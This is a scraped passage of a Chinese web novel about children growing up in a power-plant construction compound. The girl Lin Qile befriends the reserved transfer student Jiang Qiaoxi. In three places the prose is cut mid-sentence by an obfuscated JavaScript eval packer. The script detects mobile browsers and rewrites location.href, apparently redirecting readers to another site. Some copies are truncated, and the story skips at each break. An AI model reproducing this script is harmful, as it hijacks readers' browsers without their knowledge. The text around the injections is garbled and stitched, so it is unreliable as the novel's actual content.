“健力宝呢?”见蒋峤西不说话,林其乐瞎问一气,“旭日升冰茶?” 林其乐说:“你有什么想喝的,我去买,我们一起去玩。” 蒋峤西回过头了,他居高临下,看林其乐:“你不用学习吗。” 林其乐那双圆眼睛睁大了。 “光学习,不累吗。”林其乐轻声说。 “我看你都做了一天的奥数题了,”林其乐倒一点也不掩饰她对于蒋峤西的关注,“你都不会头疼吗。” 蒋峤西站在原地,似乎林其乐的话让他不能理解。 无论是“看他做了一天题”,还是“学习累,会头疼”。 “我不会头疼。”蒋峤西说。 “可是又没有考试,老师又不检查,也不会批改错题,”林其乐好奇地歪头看他,“你做给谁看呀?” § 夜里八点钟,余班长拿了一饭盒的拍黄瓜拌猪头肉,抽着烟来到了林电工家,一同来的还有小车班年轻干事邵司机等人,来找林电工一起打牌。 林樱桃的妈妈李艾娟则摘了围裙,端着一筐毛线,和杜尚妈妈朱晓霜一起,去余班长家找余樵的妈妈邹敏和余奶奶一块儿看电视剧,互相学习打毛线衣。 林其乐走在前面。“你怎么走这么慢啊。”林其乐拽住蒋峤西的手,拉着他不断往前走。 蒋峤西的反应总比她慢上几拍。 “又没有考试,老师又不检查……”她的声音仿佛还在耳边问,“你做给谁看呀?” 新家里黑洞洞的,没有人。没有人关心蒋峤西是不是在学习。没有堂哥一家,没有大伯伯母,没有家庭教师。蒋峤西走在群山工地的水泥路面上,只有林其乐围着他叽叽喳喳说个不停。 “这就是第一排!”林其乐牵着蒋峤西的手,站在单身宿舍前头,指给他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|13236582|139476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看,“从这第一排,到后面的第十五排,全都是单职工宿舍!” 就是在省城,蒋峤西也没见过这么主动的女孩。他来群山工地不过两天,从小住楼房,没住过平房,更没住过这种砖砌成的,一联排十户七户的低矮房子。 单身宿舍住的几乎全是男人,是只身来到群山工地打零工的工人。九月初,天还热,不少年轻人光着膀子围坐在路口打扑克。 在省城,就算蒋峤西是个男孩,也被老师教育,少来这种贫民聚集的地方。 林其乐却穿着小裙子,在里面溜达来溜达去,她好像根本感觉不到害怕。路过那些年轻男人的牌局时,林其乐还会站在旁边探头看上好一会儿。 蒋峤西想到,在他们原先老师的标准里,林其乐住的也是贫民窟,林其乐八成也是贫民。 “樱桃,”牌局里一个年轻人抬头问,“看懂了吗?” 林其乐摇头:“看不懂!” “看不懂让林工好好教教!”另个年轻男人挠着小腿上蚊子叮的包,扔下三张牌,“人家余班长那儿子都会猜牌了。” “余樵那小子,”另外一个人说,“会打台球了!我看他以后野着呢!” ——原来他们都是认识的。 蒋峤西想。 这一整个工地上的人,全部都是认识的。 林其乐却不知道蒋峤西在想什么,她边走,边对蒋峤西介绍群山工地上的人和事。在林其乐尚幼的脑袋里,这些生活中的大小事怕是比九九乘法表还清晰。 “杜尚家住在十一排,是单身宿舍,他和他妈妈住在一起。杜尚的爸爸调走了,调到蒲城工地去了。” “杜尚家隔壁那排头上就是秦野云家。秦野云也是我们班的。她和她爸爸住在一起。你见过她爸爸吗?开小卖部的秦叔叔。” 他们俩穿过了十几排单身宿舍,穿过工人们闲暇时在宿舍前栽种的向日葵和草莓田,走过灯火通明的工人俱乐部、工人图书馆。 “秦野云的爸爸以前受了工伤,有一条腿不能走路了,”林其乐轻声告诉蒋峤西,“蔡方元的爸爸就让他留在工地承包了小卖部。秦叔叔可厉害了,他每天都会练气功治腿!” 两个小孩停在了群山工地领导干部房前。 说是领导干部房,也还是砖砌的平房,只比普通双职工宿舍多了一间卧室。这样简陋的居住条件,和国企工人们拿到手里的丰厚薪酬实在不成正比。 林其乐介绍道:“这是三十二排,第一户住的是余樵,就是你同桌。他和他爸爸、妈妈、余奶奶,还有他小表弟余锦住在一起。余锦的妈妈生病了,就把余锦送来他们家。余樵家特别挤,住不开人,但余叔叔是劳动模范,是工地上的老大哥,什么都会答应。” “第二户住的是张奶奶,是我们工地幼儿园的园长。她对我特别好,还送我小兔子,但她丈夫好几年前去世了,她现在自己一个人住。” “后面那排,第一户住的是蔡方元,他和他爸爸妈妈住在一起,蔡叔叔你见过的吧——” 蒋峤西听着林其乐在他身边小声说话,细细地介绍。仿佛这群山工地的一砖一瓦,一草一木,任何一个人,一只动物,哪怕房檐下一只积灰的蜂巢,树梢上废弃的鸟窝,都深深刻印在林其乐幼小的脑海中。 工地上一排排路灯亮了,把群山市郊这一块隐没在厂区之中的家属大院照亮。不少小孩子聚在路的尽头,坐在用黑色保温材料包裹的暖气管道上,正玩着扮演茅山道士的游戏。 “不过工地上也有坏人,”林其乐转过身,认真告诉蒋峤西,“住在十四排的卫庸,他是个小混混,臭流氓,喜欢到处吐痰,你看到他不要和他说话。” 蒋峤西这一晚上已经接受了足够多的信息,虽然他也不知道这究竟有什么用。 “他长得就像丑了好几倍的刘德华,”林其乐又补充了一句,“你看到他,肯定能第一时间认出他来!” 蒋峤西只好点了点头。 林其乐还牵着他的手。从两人出了家门,走到现在,蒋峤西明显感觉到手心里有汗了,不知道是林其乐的汗,还是他出的汗。 黑夜里,林其乐的手是唯一的触感。不像爸爸的手那么粗硬,不像妈妈的手那样干瘪,不像奶奶布满了皱纹。 林其乐的手好像小兔子的耳朵,软软蹭在蒋峤西的手背上。 “明天上学,我们几个人一起走吧!”林其乐在路灯下,突然对蒋峤西说。 蒋峤西还背着他的方形书包。 “你们都认识路?”他问。 “当然。”林其乐的眼睛睁得大大的,她突然抬起一只手,指向西边黑暗的天空。 那空中一闪一闪,发出星星似的光,是有夜间工程还在进行着。 “群山有三座晾水塔的地方,”林其乐说,“就是我们的家!” 4. 第 4 章 蒋峤西一大清早,从父亲手中接过电话听筒,听了两个电话。 第一个是远在香港的堂哥打来的。蒋峤西刚穿上衬衣,听堂哥说:“听说你和你爸爸闹脾气,转学考试交白卷啊?” 蒋峤西也不讲话,低头扣扣子。 “今天既然能重新考试,就好好对待一下,”堂哥认真道,“拿出真实的水平来,你怎么知道群山没有好老师呢?” 有小狗汪汪直叫,透过了听筒,从堂哥身边传进蒋峤西耳朵里。 蒋峤西忽然觉得非常难过。 “Lassie 想你了。”堂哥说。 “我也想它。”蒋峤西说。 “在群山那边抓紧学习,”堂哥说,“只有这样,你将来才能做你想做的。” 也许是蒋峤西一直沉默。堂哥试探着问:“群山那个地方怎么样?” “不怎么样。”蒋峤西直言不讳。 堂哥一愣:“有认识什么新朋友吗?” 蒋峤西说:“没有。” 第二通电话来自省实验附小教师办公室。蒋峤西背上书包,已经打算出门去上学了,他父亲又叫住他,问用不用司机送他。 座机就是在这个时候响起来的。 “蒋峤西!”说话的是蒋峤西以前在实验附小的同学,一个男生,叫费林格,“终于能给你打电话了!你在群山的新家才连上电话线吗?” 蒋峤西也不吭声,他听见电话里头乱哄哄的,像是有很多人围在那边。 费林格说:“哎,你们别挤啊,岑小蔓,岑小蔓!你不和蒋峤西说话啊?” 蒋峤西握着听筒,时间过去了,一分一秒。一个熟悉的女孩子声音凑到电话跟前来。 “蒋峤西,”她声音柔柔弱弱,很文气,“你什么时候转学回来?” 父亲这时说:“你的小朋友们来找你了。” 蒋峤西转头,透过客厅外那一扇纱窗门,他看到余樵、蔡方元几个人不知何时站在他家门口,一人一纸盒牛奶喝着。 “我也不知道,”蒋峤西对电话里以前的同学说,“我先上学去了。” 余樵站在外头,见蒋峤西出来了,他嘴里叼着牛奶吸管,冲他抬抬下巴,示意蒋峤西看隔壁。 林其乐家门敞着,从里头传出哭声。 “我不要……”是林其乐在嗷嗷地哭,哭得撕心裂肺,“不要拆工地……” 林爸爸忍不住笑,哭笑不得,在屋里劝她。 “樱桃,工地啊,本来就是为了在群山建设电厂才盖起来的。等电厂建完了,叔叔阿姨们就要到下个工地去建电厂了,爸爸妈妈也要去。大家都搬走了,这里不就没有人住了吗,肯定要拆掉的。” 林妈妈说:“好端端的,你和她说这个干什么呀!” 林爸爸说:“闺女问我,我总不能说假话。” 蒋峤西走到了林其乐家门前,他看到林爸爸穿着那身蓝工作服,蹲在了林其乐的面前,他双手扶住林其乐的手臂,让林其乐站更稳些,他笑着,看林其乐哭红了的脸和一双湿乎乎的眼睛。 “到时候咱们和叔叔阿姨,一块儿搬到新工地去!”林爸爸轻声对她说,“还有新的工地住啊。” 林其乐听着,哽咽道:“新的工地也有余叔叔吗?” 蒋峤西听见余樵在他身边嗤笑一声。 林爸爸说:“当然有了!到时候他要是不来,咱们就给他打电话,问他,你怎么不来啊!我们都搬来了!你赶紧!” 林其乐咬着嘴里的牛奶吸管,背着书包,凑合系上红领巾,和以前一样走在“小四|人帮”的最前方。 如今蒋峤西也加入了,变成“五人帮”了。 蔡方元问蒋峤西,昨天林其乐是不是领着他满大院转悠去了。 蒋峤西点头。 也许昨夜在路灯下面,蔡方元看到他们两个的身影了。 谁知蔡方元说:“我就知道!咱院儿每新来一个小孩儿,她就上赶着去给人家当导游,也不问问人愿不愿意——” 蒋峤西听了这话,还和蔡方元他们一道往前走。他抬头,瞧前面林其乐的背影。 林其乐今天穿了条鹅黄色的小裙子,和昨天不一样。她红领巾下面有条红绳,挂在脖子里,红衬着白,十分显眼,是系着琥珀的细线。 她两根马尾垂下来,在肩膀上来来回回晃,和她这个人一样,是很不安分的。 蔡方元说:“我刚转来那天,大中午的,晒死了!她还走那么快!”他嘟囔着,“走了一中午,把我累的……” 到了学校,蒋峤西在第一节课前被叫去了校长室。老校长让他今天找时间过来重新考试,好让老师们对他的学习进度心中有数。 别的学科不知道,四年级一班的数学老师对蒋峤西的数学水平已经相当有数了。蒋峤西被叫到黑板上做题,老师本想下去溜达一圈,一只脚刚走下讲台,蒋峤西就已经把正确答案写完了。 相比之下,班上的音乐课代表林其乐就十分够呛。她握着粉笔头,在讲台上姿态非常认真,耳朵却竖起来,听身后的动静。 “五!”蔡方元坐在下面用气声说,“林其乐,五!” 林其乐终于听见了,也不管题目是什么,她连忙在括号里写“5”。 余樵说:“六!” 杜尚用数学书掩住嘴:“别听他们的!七!” “八!”蔡方元紧着跟上。 在数学老师一声咳嗽下,底下同学全捂着嘴不敢笑了。 最终答案还真是“八”,但一下数学课,林其乐仍和蔡方元厮打起来。 蒋峤西坐在蔡方元后排,他的桌子时不时受到这场战争的波及,但他还在坚持看书。同桌余樵正翻一张体育报纸。 就在前几天,九月五号,二十届国际篮联亚洲锦标赛上,中国男篮以六十三比四十五的比分赢了韩国。 “啧啧,”旁边围了一群男生,都在余樵身边看报纸,余樵叹道,“胡卫东,神了啊!” 男生们嘴里反反复复讨论着那么几个名字:胡卫东、王治郅、□□—— 林其乐这时也把头伸过来,她两根马尾都要垂到蒋峤西的铅笔盒上了。 “哇,这个人是谁啊?”林其乐惊讶道。 “哪个?”蔡方元在她身边问。 “这个。”林其乐认真道。她手指住报纸,那上面有一张中国男篮全队的合影。林其乐抬头看余樵。 余樵往那照片上瞧了一眼,林其乐说的是个傻大个儿,瞧着面生。 再看新闻,这人才十八岁,第一次出征国家队,在比赛里也没什么突出表现啊。 “他怎么了?”余樵不知林其乐为何突然这么好奇。 林其乐惊叹道:“他好高啊!” 蔡方元回头对蒋峤西说:“我跟你说过吧,她就是一傻子。” 余樵把报纸拿回去了,似乎不屑于被林其乐这等一惊一乍的外行打扰宝贵的看报时间。 正巧林其乐在广播站的同学到班门口来找她。林其乐一走,杜尚才过来问:“她刚刚问的谁啊?” 余樵正看报纸呢,头也不抬:“不认识,叫什么……姚明?” § 学校广播站给小成员们发润喉糖,林其乐虽然已经不参加广播站的工作了,带队老师还总记得她,还想要她回去播报关于今年年底澳门回归的历史文化小常识节目。 林其乐嘴里含着糖,含了好几块,脸颊鼓鼓的:“这个以前不是播过了吗?” “那是香港回归,现在是澳门。”老师无奈道。 林其乐手里拿着一小包润喉糖,回到班里美滋滋地吃。蔡方元在前面擦完黑板,看见她,把板擦一丢:“林其乐!也不分一分啊!” 蒋峤西写着题,突然问余樵:“你们为什么和女生一起玩?” 余樵把报纸看完了,他也瞧见林其乐正在吃糖。他站起来,似乎打算用报纸去换个糖吃。 听见蒋峤西的问题,余樵回过头来,一愣。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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林其乐手里握着她的琥珀,眼眶通红,撅着嘴,就是很不开心。 班主任先是当众训斥了林其乐和秦野云几句,让她们俩在走廊站好。 接着他和颜悦色,走进教室,用温柔的声音让蒋峤西下节体育课不用上了,跟他去办公室参加一下小考。 林其乐不自觉抬起头来。 越过门,她偷看向教室里,蒋峤西刚才一直在安静学习,这会儿才在余樵身边站了起来。 § 体育课有一大半都是自由活动时间。 林其乐坐在双杠上头发脾气:“你们都不帮我,还想让我帮你们……哼,我才不帮呢……” 蔡方元站在双杠下面跟她解释:“不是,你们两个女生打架,我们帮谁不都是欺负女生吗?” 林其乐郁闷道:“那你就看着她那么欺负我!” 杜尚在一旁舔了舔嘴唇,为难道:“樱桃,不是不帮你,秦野云那个人忒不讲道理。” 余樵这时开口了,一点儿不客气:“你和秦野云打架,秦野云也没找别人帮忙啊。” 林其乐听他这么说,才不高兴地呼出一口气。 “而且你看她那脸,”余樵说,“都让你抓成什么样了。” 林其乐跳下了双杠,把断线的小琥珀揣进她的小裙子兜里。余樵说的似乎也有道理,林其乐想,她和秦野云单打独斗,要是别人帮忙了,反而不公平。 “走吧!”林其乐说。 蔡方元见林其乐终于肯走了,激动追上来。 “我跟你说,我那本书,就在校长室靠墙那排第二个文件柜里——” 蒋峤西正在校长室心不在焉地写考试卷子。校长给了他一节课的时间,蒋峤西十分钟不到就写完了。 在省城奥数辅导班,这点东西蒋峤西入学时就会了。他写完,总还觉得脑子里很不平静。 “在群山那边也要抓紧学习。” 堂哥这么对他说。 “只有这样,你将来才能做你想做的。” 蒋峤西又专心把卷子来回看了几眼,算是检查完毕。幸好校长只让他考数学,最省时间。他放下笔,正要走,忽然从窗外传来声音。 是个女孩子。 “你站稳点啊,蔡方元!” 5. 第 5 章 余樵等几个小孩正在楼下,趁自由活动时间,对校长室发起新的一轮“偷袭”。林其乐站在了余樵和杜尚手上,颤巍巍地对他们说,她昨天知道了蒋峤西的名字是什么意思,是来自一句诗。可她忘了那诗是什么了:“是一句特别好听的诗!” 林其乐的手小,努力伸上去,勉强够着去扒校长室的窗户缝。 突然那扇窗从里面推开了一小半,除林其乐外,谁都没发现异样。 杜尚在下头不屑一顾:“还‘特别好听的诗’,能有多好听。还是什么大诗人写的诗吗?有杜尚有名吗——” 蒋峤西推开了窗子,居高临下,他先是对上了林其乐那双刚刚哭红的大眼,再往下看,看见了蔡方元、余樵、杜尚三个人。 蔡方元在下面直眨巴眼,愣了。杜尚手托着林其乐的鞋底,一见蒋峤西本人忽然从头顶出现,他一吓,登时后退。 林其乐的身形在半空中一晃。 她要摔倒了,她想。从二楼摔到一楼,把腿摔断,把头摔破,摔成粉红色的大大卷。可刚往下一跌,就有一股力气从上面一把抓住了林其乐够到窗户缝的那只手。 她感觉胳膊被拽得一痛,费力抬起头,瞧见蒋峤西左手撑住了窗台,探出上半身来伸出右手拽住她。蒋峤西拧起眉头,盯住了她的脸—— 林其乐刚和秦野云打过架,她把秦野云的脸挠了,秦野云也把她的脖子抓出了血。 她两根马尾都是歪的。用蔡方元的话说,林其乐就是傻。 “她甚至都不会自己扎头发!” 蔡方元这么对蒋峤西说。 “你看她每回在学校和人打完了架,头上两根辫子就是歪的了,根本不对称。余樵给她梳都比她自己梳对称!你觉得她是小女孩?” 老校长本想中途回来看看蒋峤西的数学卷子做得怎么样了。都说什么,省里一等一的奥数天才,校长在小小的中能电厂小学干了一辈子,确实没见过这样的学生。他推开校长室的门,还没进里间呢,就听见窗外有动静。 窗子猛地拉开,校长都没朝旁边看,他一眼盯住了楼下那么几个。 蔡方元和杜尚还傻傻站在墙根下面,余樵原本把手举起来不知在干什么,这会儿突然放下了后退好几步。 “你们几个!”老校长想怒喝,又顾及着蒋峤西还在里头考试呢,他咬牙切齿,压低声音,“给我站住!” 余樵嘴里暗骂了一声,转头沿着小道飞身就溜了,不见踪影。蔡方元瞧着校长消失在窗里,大约已经下楼了,他也赶紧往外跑。 只剩杜尚手足无措,停在原地,既怕老校长下来抓他,又觉得林其乐这样瑟瑟发抖地在二楼吊着不行。 “樱桃!”他颤声道,“你跳下来啊!” 林其乐吊在半空中,眉毛簇着,踢着她的布鞋:“你们……你们先别跑啊!等等我!” 她个头不高,脚距离一楼地面还有段不小距离,掉下去起码要摔个屁股墩儿。 蒋峤西能把林其乐这么抓住已经很吃力了,也不太可能把她拖进窗户里。 更何况校长并没有走,他正在外间打电话,大概是打给教导主任的,他随时有可能进来。 林其乐在窗下抬起头,可怜巴巴地望蒋峤西。蒋峤西先看了她,又看外面那条小道,看校长室有多高。 蒋峤西另一只手用力巴住了窗框,他突然踩着暖气片就上了窗台。 像当初林其乐这么飞进来。 林其乐什么都没看清,只感觉眼前一黑,她向下坠,坠了不到一秒,有一只手按在她后脑勺上,紧接着她就软软落地了。 从二楼到一楼实在太短,一出来就着地了,根本没时间让林其乐的后背在下坠中生长出翅膀来。 林其乐闭上眼是一片黑,睁开眼了,眼前还是一片黑。她再仔细看,那黑不是普通的黑,是蒋峤西外套上的黑。 杜尚站在三五步之外,瞪大眼瞧蒋峤西这个转学生,已经是个看傻的状态了。 林其乐还想着赶紧爬起来,然后把蒋峤西扶起来。结果蒋峤西手撑住地面起来了就跑,手还把林其乐紧紧拽着。 § 蒋峤西知道,对于任何人来讲,他都不是独一无二的。无论是对父母,对老师、朋友,或是对群山市里区区一个没什么见识的小姑娘。 原来余樵根本不是趁机逃跑,他和蔡方元两个人大喊大叫着跑出去,沿操场跑了一大圈,引得教导主任和老校长远远到操场上去抓他们。 林其乐什么事儿都没有,撞见教导主任,还得了一句“林樱桃今天表现不错!没和余樵、蔡方元同流合污”的表扬。她从学校医务室弄了一盒酒精棉球,也不知道具体要怎么用。面对蒋峤西后脑勺上小小的一块擦伤,她实在胆怯又慌张。 蒋峤西本来没觉得有多大事,也不太疼,让她一搽,反而疼了十倍。 “你别……别搽了。”蒋峤西和她商量。 杜尚瞧着他们,惊魂未定。他打开书包,从里头拿创可贴出来——他书包里就数创可贴最多。杜尚走到蒋峤西身边,说:“上次我从、从三层楼高的树上掉下来!一点儿事也没有!”说着他赶紧把创可贴撕开,递给蒋峤西,慷慨道,“给,赶紧贴上!” 林其乐一张脸闷闷不乐的,两根马尾也歪着,体育课都下了,她坐在自己的座位上,还是个很自责的样子。 余樵和蔡方元俩人挨完骂从操场回来,看她那样,问她怎么了。林其乐抬起眼看他俩,摇摇头,也不讲。 余樵觉得这事新鲜了,林其乐还能有藏着什么事不说的时候。 老校长走到四年级一班的教室门口,往里看了一圈:“蒋峤西,你考着试怎么出来了?” “写完了,校长。”蒋峤西说,他放下手里的书,站起来了。 蔡方元眼瞅着蒋峤西跟在校长身后出了门,两人一路往校长室走。蔡方元偷偷溜出去,他在楼梯口的拐角处蹲下了。 生怕被人看见,又忍不住频频探头。校长室就在走廊尽头,对蔡方元来说,那扇大门实在太难进去了。 林其乐也慢吞吞从教室里出来了,她蹲在蔡方元身边,双手抱住了自己的膝盖,把脑袋使劲儿埋进膝盖里。 她这个反应让出来打球的余樵更加困惑了。余樵问杜尚:“她又犯什么毛病?” 校长室的门开了。 蔡方元眼看着蒋峤西从里面出来。 他手里拿着一张对折的数学卷子,标了鲜红的100分。等蔡方元和班里男生们聚到他身边,卷子掀起来,露出里面夹着的《小学生必背古诗词一百首》。 看蒋峤西的神情,他并不太清楚这是什么,偷拿出来也没什么大不了的。 蔡方元和其他男生激动得面红耳赤,把蒋峤西团团围住。林其乐也站起来了。她都不知道蔡方元什么时候和蒋峤西说了这事,不知道蒋峤西是怎么答应的,又是怎么轻而易举找到了这本书,还躲过了老校长。 § 为表报答,蔡方元要把他心爱的《小学生必背古诗词一百首》借给蒋峤西看。他说,就是省城的小孩儿也没几个人有:“我这可是从香港买来的写真集,原装正版!” 蒋峤西听了,想了想,接过来,他把这本书装进了他那个方形的皮书包里,把余樵送给他的最新一期体育报纸也塞进去了。 这只书包从来到了蒋峤西身边,还是头一回装课外书报,连蒋峤西自己都不大适应。 中午放学,蒋峤西和余樵他们四个一道步行回家。林其乐踮着脚,在学校门口小卖部买雪糕。她回头问:“蒋峤西,你要不要吃雪糕啊?” 蒋峤西一开始不知道她是在问他,蔡方元从旁边答:“吃啊!” 林其乐回过头去了,两根歪了的马尾甩在肩膀上。 “哎,我说我吃你怎么听不见啊?”蔡方元纳闷问。 林其乐走在他们身边,高高兴兴吃手里的小奶糕。林其乐樱桃似的嘴唇上也沾了奶,她舔了舔,特甜。她对蔡方元说:“你想吃不会自己买啊!” 蔡方元走在蒋峤西身边,和她大眼瞪小眼。 走到群山工地宿舍大门口的时候,前方有个人骑自行车迎面过来,从蒋峤西身边骑过去了,速度飞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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林其乐从她的小床上坐起来了。 卧室关了灯。爸爸妈妈正在大衣柜另一侧的双人床上午睡。 没有人知道林其乐在想什么。 林其乐掀开床边的窗帘,她眯了眯眼,看向窗外,阳光猛烈。 林其乐脖子上系了条红领巾,让起床的妈妈帮她重新扎好头发,她背着自己的小书包,沿着群山工地一排排宿舍墙根,没有目的地向前走。 下午两点才开始上课,现在一点钟,大中午头的,所有人都躲在家里。除了林其乐,没人愿意面对正午烈日的灼晒。一条条马路空荡荡的,站在十字路口朝南北西东各处望去,路上都只有林其乐自己。 这是属于她的“王国”。 林其乐贴着墙根,独自一人在群山工地四处闲逛,像国王巡视自己的领地。她穿过成排的晒了汗衫、工作服的晾衣竿,走过贴了“新进《鲁迅全集》三套,欢迎工友前来借阅”的工地图书馆,走到长满了水草的,早已荒废的工地喷泉前。 林其乐在喷泉边蹲下了,仔细观察水面上一划一划的水黾。 林其乐绕到别人家院子后面,踮起脚,看这里种的向日葵今年结了多少瓜子。 一颗、两颗、三颗…… 是比去年多了,还是少了? 林其乐走过蒋峤西家门前,看来看去,蒋峤西还在市里吃饭,还没回来。 林其乐想不明白,为什么她无论走去哪里,最后总忍不住拐到蒋峤西家门口来,忍不住抬头看上一眼。 为什么她觉得不太开心,因为吃中午饭时没见到蒋峤西。 这些问题太过于深奥,林其乐很难想明白。 杜尚睡过了午觉,该准备上学。他趿拉着拖鞋从家里出来倒垃圾。 一抬头,看见林其乐自己一个人坐在工人俱乐部前头的台阶上,正在发呆。 林其乐是一个奇怪的小女孩。之所以杜尚觉得她“奇怪”,因为他从来都猜不透她在想什么。 6. 第 6 章 为什么林其乐总想见到蒋峤西? 对于这个问题,林其乐百思不得其解。 周五傍晚,放学回家,林其乐拿了妈妈给的钱,去工地小卖部秦叔叔那里买醋。秦叔叔正坐在柜台后面练气功,他双眼闭着,仿佛世外高人。林其乐屏住呼吸,踮起脚,隔着柜台观察了他一会儿。 “秦叔叔,你练的是什么功啊?”她问。 秦叔叔听见她的声音,抬起眼皮看她,笑说:“你怎么今天不跟在人家蒋峤西屁股后头打转啦?” 林其乐一愣:被他发现了! 秦叔叔不是平时都不出门吗。林其乐心想。难道他真有神功,能知道外头发生的事? 秦叔叔吐出一口气,从垫子上摇摇晃晃支着拐杖站起来了。 林其乐往左往右看了一圈,发现秦野云那个讨厌鬼不在。她放心大胆地问:“秦叔叔,你练的是不是龟派气功啊?” 秦叔叔接过了林其乐的钱,他在货架上拿醋,不解地问:“龟派气功是什么功啊?” 龟派气功是一种很厉害的功夫。林其乐提着手里的醋走进了余樵家门,杜尚正和余樵两个人坐在沙发上吃炸虾片,看点播台放的《七龙珠》。 杜尚边看还边舞着虾片比划:“我的动作也没错啊?怎么就是发不出光波啊?” 杜尚说他今年过年之前誓要练成龟派气功。林其乐觉得够呛,杜尚的武学“造指”实在太低,欠缺悟性,只有挨揍的份儿。林其乐走进厨房,那里头烟雾弥漫,排风扇狂转也没什么作用。 林其乐两眼一摸瞎,只管喊:“阿姨!我来拿虾片!” 话音未落,一只装满了黄澄澄油亮亮大虾片的小竹筐被人从烟雾中递过来了,就横在林其乐面前。 余樵的妈妈邹阿姨正在厨房烟雾里咳嗽,她挥舞着锅铲:“樱桃啊,阿姨明天炸酥肉,你再过来拿!” 林其乐美滋滋应道:“好!” 她一手拎着沉沉的醋瓶子,一手抱着满满的虾片筐,正要回家,一位老太太这时从门外进来了,不是别人,正是余樵的奶奶。 “哎呀,樱桃,我正要找你呢!”余奶奶眼前一亮道。 她一头银发,颤巍巍过来了,拉住林其乐站到卧室门口,省得被电视里的动画片吵到。她小声问:“樱桃啊……蒋经理在你家,是不是给蒋峤西的妈妈打过电话啊?” 林其乐听了,愣一愣,点头。 老太太一看她点头,一双老眼也不浑浊了,嘴瘪瘪着笑:“那你听见他们吵架吵什么了吗?” 林其乐嘴巴张开了一点,想了想,摇摇头。她早忘了。这时余樵扔掉手里的虾片,从沙发上站起来,双手扶着余奶奶肩膀把她往屋里头推。“我亲奶奶,”余樵不客气道,“您不是耳背吗,成天还打听什么闲话啊。” 余奶奶在卧室里生气道:“哎呀,我和樱桃说几句话怎么啦,我确实耳背啊我都听不清的。” 余樵说:“她和您说一句,不出半小时全工地几百口子人都知道了。” 余奶奶说:“那我有什么办法,工地上没人和蒋经理熟,那我只能问她嘛。” 余樵说:“她和人蒋叔叔也不熟啊。” “她不是成天围着蒋经理那个儿子打转嘛!”余奶奶说,“现在全工地都知道的呀!” 林其乐抱着醋瓶子,拿着炸虾片。她出了余樵家的门,站在台阶上小愣了一会儿。 她家门前有条小路,一辆深灰色的轿车正停在路口。 林其乐认得这辆车,这是蒋峤西爸爸的车。她绕过车头,沿小路往自己家走。还没进门,她就听见里头有人讲话。 “好啊,”是爸爸的声音,“这样,你要是有事,再给我们打电话。” 蒋经理说:“那我就先把蒋峤西放这儿了,我可能下周才从莱水工地回来。” 妈妈说:“怎么这么突然就要出差?” 林其乐拉开了纱窗门,看到大人们在客厅里高高站着,围在一起聊着林其乐听不懂的话题。林其乐也不关心他们,径自走到了暖气片前。 蒋峤西就在暖气片旁边一把椅子上坐着。他背着他那个方形书包,一个人坐在这里,面无表情。乍看之下,他和刚转学过来的时候似乎没什么区别。 他转过脸看见林其乐了。 林其乐搁下醋,手拿那只翠绿色的小竹筐,里头是丰莹莹、油亮亮的炸虾片。 蒋峤西也不问,伸手从林其乐筐子里拿了块虾片,放在自己嘴边咬上了一口。 这虾片酥脆得很,咬一口是咔嚓咔嚓的脆响。林其乐在蒋峤西身边坐下了,她也拿了一块,放在自己嘴里嘎吱嘎吱地吃。 大人们说的话听也听不懂,吵都吵死了。林其乐吃着虾片,突然偏头看蒋峤西,她一笑,蒋峤西就看她笑。 蒋经理和林电工夫妻俩还说着话呢,听见身后突然有动静,回头一瞧。 蒋峤西正吃林其乐挑给他的第二块“超级大虾片”。他刚咬了一口,抬起眼,正好和他父亲对视上了。 他过去总是很安静的,无论人前人后,从不“聒噪”。蒋经理听着这虾片声,突然觉得不适应。 林电工这时候笑了:“就让峤西周末跟着樱桃他们去玩吧,工地上孩子多,不会有事儿。” 外面那辆车还等着,蒋政交代完几句话,就拿起他的文件袋走了,原来他连晚饭也不留下吃。走之前,和蒋峤西也没什么话说。 妈妈进厨房去忙活做饭了,林其乐放下了小竹筐,赶忙跑去把醋给她。爸爸在客厅收拾饭桌,顺道打开了电视。快六点了,林樱桃每天都要看《大风车》里播的《欢乐伙伴》。 客厅空间有限,拉开了饭桌,就只能再搁几张小板凳了。蒋峤西把他的书包解下来,他给林叔叔搭了把手,帮他把饭桌上的报纸、烟灰缸收拾到一边。林电工笑道:“峤西,洗个手吃饭。” 蒋峤西进去了厨房,却没直接洗手。他推开后院的纱窗门,果然看见林其乐正蹲在兔笼前头,忙活着喂兔子。 蒋峤西走过去,在旁边台阶上坐下。 林妈妈也推开那扇门,看见自家闺女又把兔子搁到人家怀里。“快,别玩了,”她催促道,“进来洗手吃饭了!” 天快黑了,林其乐放回了兔子,还有白天晒的青草要收拾。小兔子不能吃鲜嫩的草,会拉肚子,必须吃晒干晒好的。蒋峤西站起来,却不自己进去。 他看着林其乐把旧轮胎上晒的青草叶收进碗里,一条一条地收,码放在碗底,仔仔细细。两根马尾垂下了她的肩头,这么坠下来,弯曲着。有那么一会儿蒋峤西免不了想:女孩的长发都是这样的吗。 “走,”林其乐回头看他,“去吃饭吧!” 房檐下的灯暗了。林其乐把草碗搁在窗台,她拉过蒋峤西的手就跑进了厨房。 其实蒋峤西不需要任何人招呼,他现在在林其乐家就和在堂哥家一样。 就连吃饭的时候,也不用林电工一家人像以前一样来来回回地让菜了。蒋峤西想吃就吃,胃口也好,饭量比林其乐还大。也可能是因为他父亲不在,也就不会有母亲打电话来,也就不会有那些无穷无尽的,看似与他有关,实则从来不属于他的家庭纷争发生。 § 周五夜里,工人 